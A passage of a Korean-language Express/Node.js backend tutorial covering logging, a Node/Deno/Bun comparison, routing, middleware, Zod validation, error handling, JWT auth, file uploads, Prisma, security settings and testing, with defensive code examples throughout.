const debug = debuglog("app:db");
debug("쿼리 실행 %s", sql); // NODE_DEBUG=app:db 일 때만 출력
운영 로깅 — pino
npm i pino pino-http · 개발용 npm i -D pino-prettyimport pino from "pino";
export const logger = pino({
level: process.env.LOG_LEVEL ?? "info",
// ★ 비밀 값 마스킹 — 실수로 토큰을 로그에 남기는 사고를 막습니다
redact: ["req.headers.authorization", "*.password", "*.creditCard"],
formatters: { level: (label) => ({ level: label }) },
// 개발에서만 예쁘게
transport: process.env.NODE_ENV !== "production"
? { target: "pino-pretty" } : undefined,
});
logger.info({ userId: 1, orderId: "A-1" }, "주문 생성");
// {"level":"info","time":...,"userId":1,"orderId":"A-1","msg":"주문 생성"}
// 요청마다 추적 ID 붙이기 (여러 서비스의 로그를 잇는 열쇠)
import { AsyncLocalStorage } from "node:async_hooks";
const als = new AsyncLocalStorage();
app.use((req, res, next) => {
const requestId = req.headers["x-request-id"] ?? crypto.randomUUID();
als.run({ requestId }, next); // ★ 이 요청의 모든 비동기 흐름에 전파
});
// 어디서든 꺼내 쓸 수 있습니다 (매개변수로 넘길 필요 없음)
export const log = (obj, msg) =>
logger.info({ ...obj, ...als.getStore() }, msg);
error(사람이 봐야 함) ·
warn(이상하지만 처리됨) ·
info(중요한 상태 변화) ·
debug(개발용, 운영에서는 끔).
모든 것을 info 로 찍으면 아무것도 안 보입니다.
수집·대시보드는 🚀 대규모 트래픽 k12 에서 이어집니다.
Deno · Bun — 다른 런타임을 고를 때
2026년의 서버 JS 는 런타임이 셋입니다. 유행이 아니라 기준으로 고르세요.
세 런타임 비교 2026
| 항목 | Node 24 LTS (26 Current) | Deno 2.9 | Bun 1.3 |
|---|---|---|---|
| 생태계 | 압도적 — npm 전부, 네이티브 애드온·사내 표준까지 | npm 호환됨. 다만 Node 전용 API에 기대는 패키지는 여전히 사고 | npm 호환됨. 문제 대부분이 네이티브 애드온에서 터짐 |
| 성능 | V8. HTTP 처리량은 실무에서 병목이 된 적이 거의 없음 | V8 + Rust. Node 와 같은 급 | JavaScriptCore + Zig. 기동·설치·파일 I/O 가 확실히 빠름 |
| 표준 Web API | fetch·WebSocket·Streams 내장(18~22 에 걸쳐 들어옴) | 표준이 우선 — Request/Response 가 기본 모델 | 표준 우선 + Bun 전용 고속 API 병행 |
| TypeScript | 24 부터 .ts 를 타입만 지워서 실행 · 26 에서 정식(검사는 tsc 별도) |
기본 지원 — 설정 없이 실행, 타입 검사도 내장 | 기본 지원 — 트랜스파일만, 타입 검사는 안 함 |
| 도구 내장 | 테스트·watch·--env-file (n14) |
fmt·lint·test·bundle·compile 전부 | 패키지 매니저·번들러·테스트러너·bun --hot |
| 배포 | 어디서나 — 도커·서버리스·PaaS 전부 1급 지원 | Deno Deploy 는 매끄러움. 그 밖은 직접 도커 | 공식 이미지는 있으나 매니지드 지원이 아직 얇음 |
같은 서버, 세 가지 방식
// ① Node — server.mjs $ node server.mjs
import { createServer } from "node:http";
createServer((req, res) => {
res.writeHead(200, { "content-type": "application/json" });
res.end(JSON.stringify({ runtime: "node", v: process.version }));
}).listen(3000);
// ② Deno — server.ts $ deno run --allow-net server.ts
Deno.serve({ port: 3000 }, (_req: Request) =>
Response.json({ runtime: "deno", v: Deno.version.deno }));
// ★ TS 를 그대로 실행합니다. 빌드 단계가 없습니다.
// ③ Bun — server.ts $ bun server.ts
Bun.serve({
port: 3000,
fetch: (_req: Request) => Response.json({ runtime: "bun", v: Bun.version }),
});
// ★ Deno·Bun 은 둘 다 "요청 → Response 반환" 이라는
// 표준 Fetch 모델을 씁니다. Hono 같은 프레임워크가
// 세 런타임에서 같은 코드로 도는 이유입니다.
Bun — 진짜 강점과 아직 조심할 점
실제로 체감되는 것
- 설치 속도 —
bun install이 npm 대비 몇 배. CI 캐시 미스 때 차이가 가장 큽니다 - 번들러·테스트러너 내장 — tsup·vitest·tsx 를 한꺼번에 걷어냅니다
- 기동 시간 — 짧은 CLI·스크립트·서버리스에서 유리
bun --hot— 프로세스 재시작 없는 리로드
아직 걸리는 것
- 네이티브 애드온(N-API) 호환 — sharp·bcrypt·
node-gyp계열이 버전에 따라 깨집니다 ★ - Node 내부 API 를 파고드는 라이브러리(APM 에이전트·일부 ORM)
- 프로파일링·힙 스냅샷 도구가 V8 생태계만큼 성숙하지 않음
- 사내 표준·클라우드 런타임이 Node 만 지원하는 경우
bun install + bun test).
위험은 거의 없고 CI 시간은 바로 줄어듭니다.
Deno 2 — 권한 모델이 핵심
# Deno 는 "기본값이 아무것도 못 함" 입니다
deno run server.ts # ❌ 네트워크 접근에서 즉시 거부
deno run --allow-net=:3000 server.ts # 포트만 열어 줌
deno run --allow-read=./data \
--allow-env=PORT,DATABASE_URL \
--allow-net=api.example.com server.ts # ★ 화이트리스트
deno run -A server.ts # 전부 허용 — 편하지만 의미가 사라집니다
# npm 패키지를 그대로 (Deno 2)
import express from "npm:express@5";
deno install # package.json · node_modules 인식
postinstall 이나 오염된 트랜지티브 의존성이
토큰을 읽어 외부로 보내는 시나리오를 런타임이 막아 줍니다(🧬 전문가 d13).
-A 로 시작해 놓고 끝까지 안 좁히면 Node 와 다를 게 없습니다.
지금 새 프로젝트를 시작한다면
| 상황 | 선택 |
|---|---|
| 회사 서비스 · 운영 책임이 있는 API | Node LTS — 채용·문서·APM·장애 사례가 전부 여기 있습니다 ★ |
| CLI · 스크립트 · 사내 도구 | Bun 또는 Deno — 기동이 빠르고 단일 실행 파일로 뽑기 쉽습니다 |
| 엣지 · 서버리스 함수 | 표준 Fetch 모델(Deno·Hono) 이 이식성이 가장 좋습니다 |
| 신뢰할 수 없는 코드 실행 | Deno — 권한 모델이 그대로 샌드박스가 됩니다 |
| CI 가 느려서 괴로울 때 | 런타임은 두고 bun install / bun test 만 |
마이그레이션에서 실제로 걸리는 것들
- 네이티브 애드온 — 제일 먼저 깨집니다. 목록부터 뽑으세요
(
npm ls --all | grep -i "gyp\|napi") node:내장 모듈의 가장자리 —cluster·vm·async_hooks·v8은 호환이 부분적입니다- APM · 프로파일러 — Datadog·Sentry 에이전트가 Node 전용인 경우가 많습니다
- 도커 이미지·베이스 OS — 배포 파이프라인 전체를 같이 바꿔야 합니다(🧰 도구 o12)
- 팀 — “새벽 3시에 이 런타임을 디버깅할 사람이 있는가”가 마지막 질문입니다
10줄이면
서버가
돌아간다
Express 는 얇습니다. 정해 주는 게 거의 없어서 자유롭고, 그래서 팀마다 구조가 제각각이 됩니다. 빠르게 만들어야 하는 API·사내 도구·프로토타입에 최적이고, 규모가 커지면 🐈 NestJS 로 옮겨 가는 것이 자연스러운 흐름입니다. 여기까지 마치면 인증·검증·보안·배포를 갖춘 실서비스 API 를 혼자 만들어 운영할 수 있습니다.
5분 만에 서버 띄우기
설치하고 바로 돌려 보세요.
최소 구성
npm i express · TS 라면 npm i -D @types/express tsximport express from "express";
const app = express();
app.use(express.json()); // ★ JSON 본문 파싱 (없으면 req.body 가 undefined)
app.get("/health", (req, res) => {
res.json({ ok: true, uptime: process.uptime() });
});
app.get("/api/users/:id", async (req, res) => {
const user = await db.user.findUnique({ where: { id: Number(req.params.id) } });
if (!user) return res.status(404).json({ message: "없습니다" });
res.json(user);
});
app.post("/api/users", async (req, res) => {
const created = await db.user.create({ data: req.body });
res.status(201).json(created);
});
const port = Number(process.env.PORT ?? 3000);
app.listen(port, () => console.log(`http://localhost:${port}`));
express-async-errors 가 필요했습니다),
② 경로 패턴 문법이 엄격해졌습니다(* → /*splat),
③ Node 18+ 필요. 신규 프로젝트는 5 로 시작하세요.
실무 초기 세팅
import express from "express";
import helmet from "helmet";
import cors from "cors";
import compression from "compression";
import pinoHttp from "pino-http";
const app = express();
app.set("trust proxy", 1); // ★ LB 뒤에 있으면 필수 (실제 IP·https 인식)
app.disable("x-powered-by"); // 서버 정보 숨기기
app.use(helmet()); // 보안 헤더 (x10)
app.use(cors({ origin: env.ALLOWED_ORIGINS.split(",") }));
app.use(compression()); // 응답 gzip
app.use(express.json({ limit: "1mb" })); // ★ 크기 제한 필수
app.use(express.urlencoded({ extended: true }));
app.use(pinoHttp({ logger })); // 요청 로그
app.use("/api/users", userRouter); // 라우터 등록 (x02)
app.use(notFoundHandler); // 404
app.use(errorHandler); // ★ 에러는 항상 맨 마지막 (x06)
trust proxy 를 안 켜면
req.ip 가 로드밸런서의 IP 로 나옵니다.
Rate Limit 을 IP 기준으로 걸면 모든 사용자가 한 사람으로 취급되어
서비스가 통째로 차단됩니다. 실제로 자주 나는 사고입니다.
라우팅 · 라우터 분리
파일 하나가 500줄이 되기 전에 나누세요.
라우터로 나누기
// routes/user.routes.ts
import { Router } from "express";
const router = Router();
router.get("/", listUsers);
router.get("/:id", getUser);
router.post("/", validate(CreateUserSchema), createUser);
router.patch("/:id", requireAuth, updateUser);
router.delete("/:id", requireAuth, requireRole("admin"), deleteUser);
export default router;
// app.ts
app.use("/api/users", userRouter); // 앞에 붙는 경로를 여기서 결정
app.use("/api/orders", orderRouter);
경로 패턴
app.get("/users/:id", ...) // req.params.id
app.get("/users/:id/orders/:orderId") // 여러 개
app.get("/files/*splat", ...) // Express 5 의 와일드카드
app.get(/^\/api\/v[12]\//, ...) // 정규식도 가능
// 쿼리스트링
// GET /users?page=2&size=20&sort=name
req.query.page // "2" ★ 항상 문자열 (숫자 변환 필요)
// ★ 순서가 중요합니다 — 먼저 매칭된 것이 이깁니다
router.get("/me", getMe); // 이게 위에 있어야
router.get("/:id", getUser); // "me" 가 id 로 잡히지 않습니다
/users/:id 를 먼저 등록하면
/users/me 요청이 id="me" 로 들어가
“사용자를 찾을 수 없습니다”가 됩니다.
구체적인 경로를 항상 위에 두세요.
폴더 구조 — 기능 단위로 나누세요
파일 종류별 (커지면 지옥)
src/
controllers/
user.controller.ts
order.controller.ts
...20개
services/
...20개
routes/
...20개
→ 기능 하나 고치려면
폴더 5개를 오감
기능(도메인)별 ★
src/
modules/
user/
user.routes.ts
user.service.ts
user.schema.ts
user.test.ts
order/
...
shared/
middleware/
db.ts
app.ts
// 계층 역할을 지키세요 (Nest 와 같은 원칙)
// routes — URL 매칭, 미들웨어 연결만
// service — 비즈니스 규칙 (여기에 req/res 를 넘기지 마세요 ★)
// repository— DB 접근
// ❌ 서비스가 HTTP 를 알면 테스트도 재사용도 어려워집니다
export async function createUser(req: Request, res: Response) { ... }
// ✅ 서비스는 순수한 입력·출력
export async function createUser(dto: CreateUserDto): Promise<User> { ... }
app.use("/api/v1", v1Router) 처럼
경로에 두는 방식이 가장 단순하고 디버깅하기 좋습니다.
헤더 기반 버저닝은 캐시·로그·테스트가 모두 복잡해집니다.
미들웨어의 원리
Express 의 전부입니다. 요청이 통과하는 관문의 줄이라고 생각하세요.
동작 구조
요청 → [helmet] → [json 파싱] → [로거] → [인증] → [핸들러] → 응답
↓ next(err)
[에러 미들웨어]
· next() 다음 미들웨어로
· next(err) ★ 에러 미들웨어로 건너뜀
· 아무것도 안 하면 → 요청이 그대로 멈춥니다 (타임아웃)
· res 를 보내면 → 체인 종료
// 미들웨어는 그냥 함수 3개(또는 4개) 짜리입니다
const requestTime: RequestHandler = (req, res, next) => {
const start = Date.now();
res.on("finish", () => { // ★ 응답이 끝난 뒤 실행
logger.info({ ms: Date.now() - start, path: req.path }, "요청 완료");
});
next(); // ★ 반드시 호출
};
// 에러 미들웨어는 인자가 4개 (이 시그니처로 구분합니다)
const errorHandler: ErrorRequestHandler = (err, req, res, next) => { ... };
실무에서 만드는 미들웨어
// ① 인증 — req 에 사용자 정보를 붙임
export const requireAuth: RequestHandler = (req, res, next) => {
const token = req.headers.authorization?.replace("Bearer ", "");
if (!token) return next(new UnauthorizedError());
try {
req.user = jwt.verify(token, env.JWT_SECRET) as JwtPayload;
next();
} catch {
next(new UnauthorizedError("토큰이 유효하지 않습니다"));
}
};
// ② 권한 — 매개변수를 받는 미들웨어는 "함수를 반환"하는 형태
export const requireRole = (...roles: string[]): RequestHandler =>
(req, res, next) =>
roles.includes(req.user?.role ?? "")
? next()
: next(new ForbiddenError());
// ③ async 래퍼 (Express 4 에서 필수, 5 에서는 불필요)
export const asyncHandler = (fn: RequestHandler): RequestHandler =>
(req, res, next) => Promise.resolve(fn(req, res, next)).catch(next);
router.get("/:id", asyncHandler(async (req, res) => {
const user = await service.find(req.params.id); // 던져도 안전
res.json(user);
}));
asyncHandler 로 감싸거나 Express 5 로 올리세요.
요청 · 응답 · 바디 파싱
값을 꺼내는 곳은 세 군데뿐입니다.
요청에서 값 꺼내기
| 위치 | 예 · 특징 |
|---|---|
req.params | /users/:id → 경로 변수. 항상 문자열 |
req.query | ?page=2 → 쿼리. 항상 문자열 또는 배열 |
req.body | 본문. 파서 미들웨어가 있어야 채워짐 |
req.headers | 키는 전부 소문자로 들어옵니다 |
req.cookies | cookie-parser 필요 |
// ★ 숫자 변환을 잊지 마세요 — 흔한 버그
const page = Number(req.query.page ?? 1);
if (!Number.isInteger(page) || page < 1) throw new ValidationError("page");
// 배열로 올 수도 있습니다: ?tag=a&tag=b → ["a","b"]
const tags = [req.query.tag ?? []].flat();
// ★ 실무에서는 검증 라이브러리로 한 번에 처리하세요 (x05)
응답 보내기
res.json({ data }); // JSON (Content-Type 자동)
res.status(201).json(created);
res.status(204).end(); // 본문 없음 (삭제 성공)
res.redirect(302, "/login");
res.sendFile(path.resolve("public/a.pdf"));
res.download(filePath, "보고서.pdf"); // 다운로드 헤더 자동
res.set("Cache-Control", "public, max-age=3600");
res.cookie("token", t, {
httpOnly: true, secure: true, sameSite: "lax", maxAge: 3600_000,
});
// 스트리밍 응답 (큰 파일 — 메모리 절약)
import { pipeline } from "node:stream/promises";
await pipeline(createReadStream(bigFile), res);
// SSE (실시간 알림)
res.writeHead(200, {
"Content-Type": "text/event-stream",
"Cache-Control": "no-cache",
Connection: "keep-alive",
});
const timer = setInterval(() => res.write(`data: ${Date.now()}\n\n`), 1000);
req.on("close", () => clearInterval(timer)); // ★ 정리 필수
{ data, meta } 처럼 감쌀지, 그냥 객체를 줄지 정해 두지 않으면
프런트엔드가 엔드포인트마다 다르게 처리해야 합니다.
에러 응답 형태도 마찬가지입니다(x06).
입력 검증 (Zod)
들어오는 값은 전부 의심하세요. TypeScript 는 런타임에 아무것도 못 막습니다.
스키마 정의
npm i zodimport { z } from "zod";
export const CreateUserSchema = z.object({
email: z.email("이메일 형식이 아닙니다"),
password: z.string().min(8, "8자 이상").regex(/[0-9]/, "숫자 포함"),
name: z.string().min(1).max(50),
age: z.number().int().positive().optional(),
role: z.enum(["user", "admin"]).default("user"),
tags: z.array(z.string()).max(10).default([]),
});
export type CreateUserDto = z.infer<typeof CreateUserSchema>; // ★ 타입 자동 생성
// 쿼리는 문자열로 오므로 변환이 필요합니다
export const ListQuerySchema = z.object({
page: z.coerce.number().int().min(1).default(1), // ★ "2" → 2
size: z.coerce.number().int().min(1).max(100).default(20),
keyword: z.string().trim().optional(),
});
미들웨어로 연결
type Target = "body" | "query" | "params";
export const validate =
(schema: z.ZodTypeAny, target: Target = "body"): RequestHandler =>
(req, res, next) => {
const result = schema.safeParse(req[target]);
if (!result.success) {
return res.status(400).json({
message: "입력값이 올바르지 않습니다",
errors: result.error.issues.map(i => ({
field: i.path.join("."),
message: i.message,
})),
});
}
if (target === "query") {
// ★ Express 5 에서 req.query 는 getter 전용 — 재할당하면 TypeError
Object.defineProperty(req, "query", { value: result.data });
} else {
req[target] = result.data; // ★ 변환·기본값이 적용된 값으로 교체
}
next();
};
// 사용
router.post("/", validate(CreateUserSchema), async (req, res) => {
const dto = req.body as CreateUserDto; // ✅ 검증·변환 완료된 값
res.status(201).json(await service.create(dto));
});
{ "role": "admin" } 을 그대로 db.create(req.body) 에 넘기면
누구나 관리자가 됩니다(Mass Assignment).
Zod 는 정의하지 않은 필드를 기본적으로 제거하므로 이 공격을 막아 줍니다.
packages/schema 에 두고 양쪽에서 import 하세요
(🧰 도구 o02·o07).
에러 처리
컨트롤러마다 try/catch 를 쓰고 있다면 이 절을 반드시 보세요.
중앙 집중 에러 처리
// errors.ts — 도메인 에러 정의
export class AppError extends Error {
constructor(
message: string,
public status = 500,
public code = "INTERNAL_ERROR",
public details?: unknown,
) { super(message); this.name = this.constructor.name; }
}
export class NotFoundError extends AppError {
constructor(what = "리소스") { super(`${what}를 찾을 수 없습니다`, 404, "NOT_FOUND"); }
}
export class UnauthorizedError extends AppError {
constructor(m = "인증이 필요합니다") { super(m, 401, "UNAUTHORIZED"); }
}
export class ForbiddenError extends AppError {
constructor(m = "권한이 없습니다") { super(m, 403, "FORBIDDEN"); }
}
export class ConflictError extends AppError {
constructor(m: string) { super(m, 409, "CONFLICT"); }
}
// middleware/error.ts — ★ 앱에서 마지막에 등록
export const errorHandler: ErrorRequestHandler = (err, req, res, _next) => {
const requestId = req.headers["x-request-id"];
if (err instanceof AppError) {
logger.warn({ err, requestId, path: req.path }, "처리된 오류");
return res.status(err.status).json({
code: err.code, message: err.message, details: err.details, requestId,
});
}
// 라이브러리 에러 변환
if (err instanceof z.ZodError) {
return res.status(400).json({ code: "VALIDATION_ERROR", errors: err.issues });
}
if (err.code === "P2002") { // Prisma 유니크 위반
return res.status(409).json({ code: "DUPLICATE", message: "이미 존재합니다" });
}
// 예상 못 한 에러 — ★ 내부 정보를 노출하지 마세요
logger.error({ err, requestId, path: req.path }, "예상치 못한 오류");
res.status(500).json({
code: "INTERNAL_ERROR", message: "서버 오류가 발생했습니다", requestId,
});
};
컨트롤러가 깨끗해집니다
매번 try/catch
router.get("/:id",
async (req, res) => {
try {
const u = await find(id);
if (!u) return res.status(404)
.json({ message: "없음" });
res.json(u);
} catch (e) {
console.error(e);
res.status(500)
.json({ message: "오류" });
}
});
던지기만
router.get("/:id",
async (req, res) => {
const u = await find(id);
if (!u) throw new NotFoundError("사용자");
res.json(u);
});
// 에러 미들웨어가
// 알아서 처리 ★
// (Express 5 기준)
404 와 프로세스 레벨
// 어떤 라우트에도 안 걸린 요청
app.use((req, res) => {
res.status(404).json({ code: "NOT_FOUND", message: `${req.method} ${req.path}` });
});
app.use(errorHandler); // ★ 반드시 맨 마지막
// 프로세스 레벨 안전망 (🟩 Node n12)
process.on("unhandledRejection", (e) => { logger.fatal({ e }); process.exit(1); });
err.stack 을 그대로 내보내면
파일 경로·라이브러리 버전·내부 구조가 공격자에게 그대로 노출됩니다.
스택은 로그에만 남기고, 사용자에게는 requestId 만 주세요.
인증 — JWT · 세션
로그인 유지 방식 두 가지. 선택 기준부터 정리합니다.
무엇을 고를까
| 방식 | 특징 |
|---|---|
| 세션 | 서버가 상태를 가짐. 즉시 로그아웃 가능. 서버가 여러 대면 Redis 필요 |
| JWT | 서버가 상태를 안 가짐(무상태). 확장에 유리. 발급된 토큰을 취소하기 어려움 |
웹 전용·즉시 차단이 중요(관리자·금융) → 세션.
실무에서는 짧은 액세스 토큰(15분) + 리프레시 토큰(2주) 조합이 가장 흔합니다.
JWT 구현
npm i jsonwebtoken bcrypt · npm i -D @types/jsonwebtoken @types/bcryptimport jwt from "jsonwebtoken";
import bcrypt from "bcrypt";
// 회원가입 — 비밀번호는 반드시 해시
const hash = await bcrypt.hash(password, 12); // ★ 평문 저장 절대 금지
// 로그인
const ok = await bcrypt.compare(password, user.passwordHash);
if (!ok) throw new UnauthorizedError("아이디 또는 비밀번호가 올바르지 않습니다");
// ★ "비밀번호가 틀렸습니다" 라고 하면 계정 존재 여부가 새어 나갑니다
const accessToken = jwt.sign(
{ sub: String(user.id), role: user.role },
env.JWT_SECRET,
{ expiresIn: "15m", issuer: "my-api" },
);
const refreshToken = crypto.randomUUID();
await redis.set(`refresh:${refreshToken}`, user.id, { EX: 60 * 60 * 24 * 14 });
res.cookie("refresh", refreshToken, {
httpOnly: true, secure: true, sameSite: "strict", path: "/auth",
});
// ★ path 는 이 쿠키를 쓰는 라우트를 모두 포함해야 합니다
// (/auth/refresh 로 좁히면 /auth/logout 에는 쿠키가 안 실려 로그아웃이 안 됩니다)
res.json({ accessToken });
검증 · 갱신 · 로그아웃
// 검증 미들웨어
export const requireAuth: RequestHandler = (req, _res, next) => {
const token = req.headers.authorization?.split(" ")[1];
if (!token) return next(new UnauthorizedError());
try {
const payload = jwt.verify(token, env.JWT_SECRET, { issuer: "my-api" });
req.user = { id: Number(payload.sub), role: payload.role };
next();
} catch (e) {
next(e instanceof jwt.TokenExpiredError
? new UnauthorizedError("토큰이 만료되었습니다")
: new UnauthorizedError());
}
};
// 갱신 — 리프레시 토큰 회전(rotation)
router.post("/auth/refresh", async (req, res) => {
const rt = req.cookies.refresh;
const userId = await redis.get(`refresh:${rt}`);
if (!userId) throw new UnauthorizedError("다시 로그인해 주세요");
await redis.del(`refresh:${rt}`); // ★ 한 번 쓰면 폐기
// 새 토큰 발급…
});
// 로그아웃 — 리프레시만 지우면 됩니다 (액세스는 15분 뒤 자동 만료)
router.post("/auth/logout", async (req, res) => {
await redis.del(`refresh:${req.cookies.refresh}`);
res.clearCookie("refresh").status(204).end();
});
· 토큰을 localStorage 에 저장 → XSS 한 번에 털립니다. httpOnly 쿠키가 안전합니다
· 만료를 7일로 길게 → 탈취되면 일주일간 무방비
· 페이로드에 개인정보를 담음 → JWT 는 암호화가 아니라 서명입니다. 누구나 디코딩할 수 있습니다
·
algorithm: "none" 을 허용 → 서명 우회 공격
파일 업로드 · 다운로드
가장 많이 취약점이 생기는 기능입니다.
업로드 — multer
npm i multer · npm i -D @types/multerimport multer from "multer";
const upload = multer({
storage: multer.diskStorage({
destination: (req, file, cb) => cb(null, env.UPLOAD_DIR),
filename: (req, file, cb) =>
// ★ 사용자 파일명을 그대로 쓰지 마세요
cb(null, `${crypto.randomUUID()}${path.extname(file.originalname)}`),
}),
limits: {
fileSize: 5 * 1024 * 1024, // ★ 5MB 제한 (없으면 디스크가 찹니다)
files: 5,
},
fileFilter: (req, file, cb) => {
const allowed = ["image/jpeg", "image/png", "image/webp"];
if (!allowed.includes(file.mimetype))
return cb(new ValidationError("이미지만 업로드할 수 있습니다"));
cb(null, true);
},
});
router.post("/upload", requireAuth, upload.single("file"), (req, res) => {
res.status(201).json({ filename: req.file!.filename });
});
· 파일명을 새로 생성(경로 순회·덮어쓰기 방지)
· 크기 제한을 반드시
· MIME 타입은 위조 가능 — 중요하면 파일 시그니처(매직 넘버)까지 확인
· 업로드 폴더에서 실행 권한 제거 (웹셸 방지)
· 정적 서빙 경로와 업로드 경로를 분리
실무 — 클라우드 스토리지 직접 업로드
// ★ 서버를 거치지 않는 것이 정답입니다
// 서버는 "업로드 허가증(presigned URL)"만 발급합니다
import { S3Client, PutObjectCommand } from "@aws-sdk/client-s3";
import { getSignedUrl } from "@aws-sdk/s3-request-presigner";
router.post("/upload-url", requireAuth, async (req, res) => {
const key = `uploads/${req.user.id}/${crypto.randomUUID()}.jpg`;
const url = await getSignedUrl(
s3,
new PutObjectCommand({ Bucket: env.S3_BUCKET, Key: key, ContentType: "image/jpeg" }),
{ expiresIn: 300 }, // 5분간 유효
);
res.json({ uploadUrl: url, key });
});
// 클라이언트가 직접 S3 로 PUT → 서버 대역폭·메모리 0 ★
다운로드
router.get("/files/:id", requireAuth, async (req, res) => {
const file = await db.file.findUnique({ where: { id: req.params.id } });
if (!file) throw new NotFoundError("파일");
if (file.ownerId !== req.user.id) throw new ForbiddenError(); // ★ 권한 확인
// 경로 검증 (n04)
const abs = path.resolve(env.UPLOAD_DIR, file.storedName);
if (!abs.startsWith(path.resolve(env.UPLOAD_DIR) + path.sep))
throw new ForbiddenError();
res.download(abs, file.originalName); // 한글 파일명도 자동 인코딩
});
DB 연동 (Prisma)
타입이 자동으로 만들어지는 것이 가장 큰 장점입니다.
스키마와 클라이언트
npm i @prisma/client · npm i -D prisma · npx prisma init// prisma/schema.prisma
model User {
id Int @id @default(autoincrement())
email String @unique
name String
orders Order[]
createdAt DateTime @default(now())
@@index([createdAt])
}
model Order {
id Int @id @default(autoincrement())
userId Int
user User @relation(fields: [userId], references: [id])
amount Int
status OrderStatus @default(PENDING)
}
enum OrderStatus { PENDING PAID CANCELLED }
npx prisma migrate dev --name init # 개발 — 마이그레이션 생성·적용
npx prisma migrate deploy # ★ 운영 — 적용만
npx prisma generate # 타입 재생성
npx prisma studio # GUI 로 데이터 보기
쿼리
// 조회 — 필요한 필드만 (★ select 를 쓰는 습관)
const users = await prisma.user.findMany({
where: { name: { contains: keyword }, createdAt: { gte: from } },
select: { id: true, name: true, _count: { select: { orders: true } } },
orderBy: { createdAt: "desc" },
skip: (page - 1) * size,
take: size,
});
// 관계 포함 — N+1 을 자동으로 막아 줍니다
const withOrders = await prisma.user.findMany({
include: { orders: { where: { status: "PAID" }, take: 5 } },
});
// 트랜잭션
await prisma.$transaction(async (tx) => {
const order = await tx.order.create({ data: dto });
await tx.stock.update({
where: { productId: dto.productId },
data: { quantity: { decrement: dto.qty } },
});
return order;
});
// 원자적 차감 — 동시성 문제 방지 (🚀 대규모 k05)
const r = await prisma.stock.updateMany({
where: { productId, quantity: { gte: qty } }, // ★ 조건을 쿼리 안에
data: { quantity: { decrement: qty } },
});
if (r.count === 0) throw new ConflictError("재고가 부족합니다");
·
migrate dev 를 운영에서 쓰면 데이터가 날아갈 수 있습니다.
운영은 migrate deploy· 커넥션 풀 크기는
?connection_limit=10 로 URL 에 지정 —
서버 대수 × 풀 크기가 DB 한도를 넘지 않게(🚀 k10)· 서버리스 환경에서는 Prisma Accelerate 나 PgBouncer 가 필요합니다
보안 필수 설정
이 절의 내용은 운영 서버라면 예외 없이 적용해야 합니다.
기본 방어 3종
npm i helmet cors express-rate-limitimport helmet from "helmet";
import cors from "cors";
import rateLimit from "express-rate-limit";
// ① 보안 헤더
app.use(helmet()); // CSP·X-Frame-Options 등 15종
// ② CORS — ★ origin: true 나 "*" 는 위험합니다
app.use(cors({
origin: env.ALLOWED_ORIGINS.split(","), // 화이트리스트
credentials: true, // 쿠키를 주고받을 때
maxAge: 86400,
}));
// ③ Rate Limit
app.use("/api", rateLimit({
windowMs: 60_000, limit: 100,
standardHeaders: "draft-8", // express-rate-limit v8 기준 (구형 클라이언트는 "draft-6")
message: { code: "TOO_MANY_REQUESTS" },
}));
// 로그인은 훨씬 빡빡하게 (무차별 대입 방지)
app.use("/auth/login", rateLimit({ windowMs: 15 * 60_000, limit: 5 }));
rate-limit-redis 스토어를 붙이세요(🚀 대규모 k09).
체크리스트
- ☐ SQL 인젝션 — ORM 이나 파라미터 바인딩 사용. 문자열로 쿼리를 만들지 마세요
- ☐ XSS — 사용자 입력을 HTML 로 렌더링할 때 이스케이프.
React 는 기본으로 해 주지만
dangerouslySetInnerHTML은 예외 - ☐ Mass Assignment —
req.body를 그대로 DB 에 넘기지 마세요(x05) - ☐ 경로 순회 — 파일 경로에 사용자 입력이 들어가면 검증(x08)
- ☐ 비밀번호 — bcrypt·argon2 로 해시. MD5·SHA 단독 금지
- ☐ 비밀 값 — 코드·이미지·로그에 남기지 않기
- ☐ 의존성 —
npm audit를 CI 에 포함 - ☐ 에러 응답 — 스택·내부 경로 노출 금지(x06)
- ☐ HTTPS — 운영은 예외 없이. 쿠키에
secure
// 응답 헤더에서 서버 정보 지우기
app.disable("x-powered-by");
// 요청 크기 제한 (메모리 고갈 공격 방지)
app.use(express.json({ limit: "1mb" }));
// 오래 걸리는 요청 끊기 — 서버 타임아웃으로
// (connect-timeout 패키지는 응답 후에도 핸들러가 계속 도는 문제로 비권장)
const server = app.listen(3000);
server.requestTimeout = 30_000;
server.headersTimeout = 35_000;
// NoSQL 인젝션 (MongoDB 를 쓴다면) — Zod 로 값의 타입을 강제하세요
// ($gt 같은 객체가 문자열 자리에 못 들어오게. x05 참고)
// ★ express-mongo-sanitize 는 Express 5 와 호환되지 않습니다
테스트
서버를 띄우지 않고도 요청·응답을 검증할 수 있습니다.
supertest
npm i -D vitest supertest @types/supertest// app.ts 에서 app 만 export 하고, listen 은 server.ts 에서 하세요 ★
// 그래야 테스트에서 포트 없이 app 을 그대로 쓸 수 있습니다
import request from "supertest";
import { describe, it, expect, beforeEach } from "vitest";
import { app } from "../src/app.js";
describe("POST /api/users", () => {
beforeEach(async () => { await resetDb(); });
it("정상 생성되면 201 을 반환한다", async () => {
const res = await request(app)
.post("/api/users")
.send({ email: "a@b.c", password: "12345678", name: "김" })
.expect(201);
expect(res.body).toMatchObject({ email: "a@b.c" });
expect(res.body).not.toHaveProperty("password"); // ★ 노출 확인
});
it("이메일 형식이 틀리면 400", async () => {
const res = await request(app)
.post("/api/users")
.send({ email: "not-an-email", password: "12345678" })
.expect(400);
expect(res.body.errors[0].field).toBe("email");
});
it("인증 없이 접근하면 401", () =>
request(app).delete("/api/users/1").expect(401));
});
무엇을 테스트할까
| 층 | 대상 |
|---|---|
| 단위 | 서비스 함수의 비즈니스 규칙. 가장 많이 만드세요 |
| 통합 | 라우트 + 검증 + DB. 핵심 흐름만 |
| E2E | 실제 브라우저 (🧰 도구 o06) |
// DB 는 진짜를 쓰는 편이 낫습니다 (Testcontainers)
import { PostgreSqlContainer } from "@testcontainers/postgresql";
let container;
beforeAll(async () => {
container = await new PostgreSqlContainer("postgres:18").start();
process.env.DATABASE_URL = container.getConnectionUri();
await runMigrations();
}, 60_000);
afterAll(() => container.stop());
// 외부 API 는 모킹 (msw 가 실무 표준)
import { setupServer } from "msw/node";
import { http, HttpResponse } from "msw";
const server = setupServer(
http.get("https://api.pay.com/verify", () =>
HttpResponse.json({ status: "APPROVED" })),
);
beforeAll(() => server.listen());
afterAll(() => server.close());
구조 설계 · 배포
Express 는 구조를 정해 주지 않습니다. 그래서 직접 정해야 합니다.
실무에서 쓰는 구조
src/
app.ts 미들웨어 등록 · 라우터 연결 (listen 은 여기 X)
server.ts listen · 우아한 종료
config/
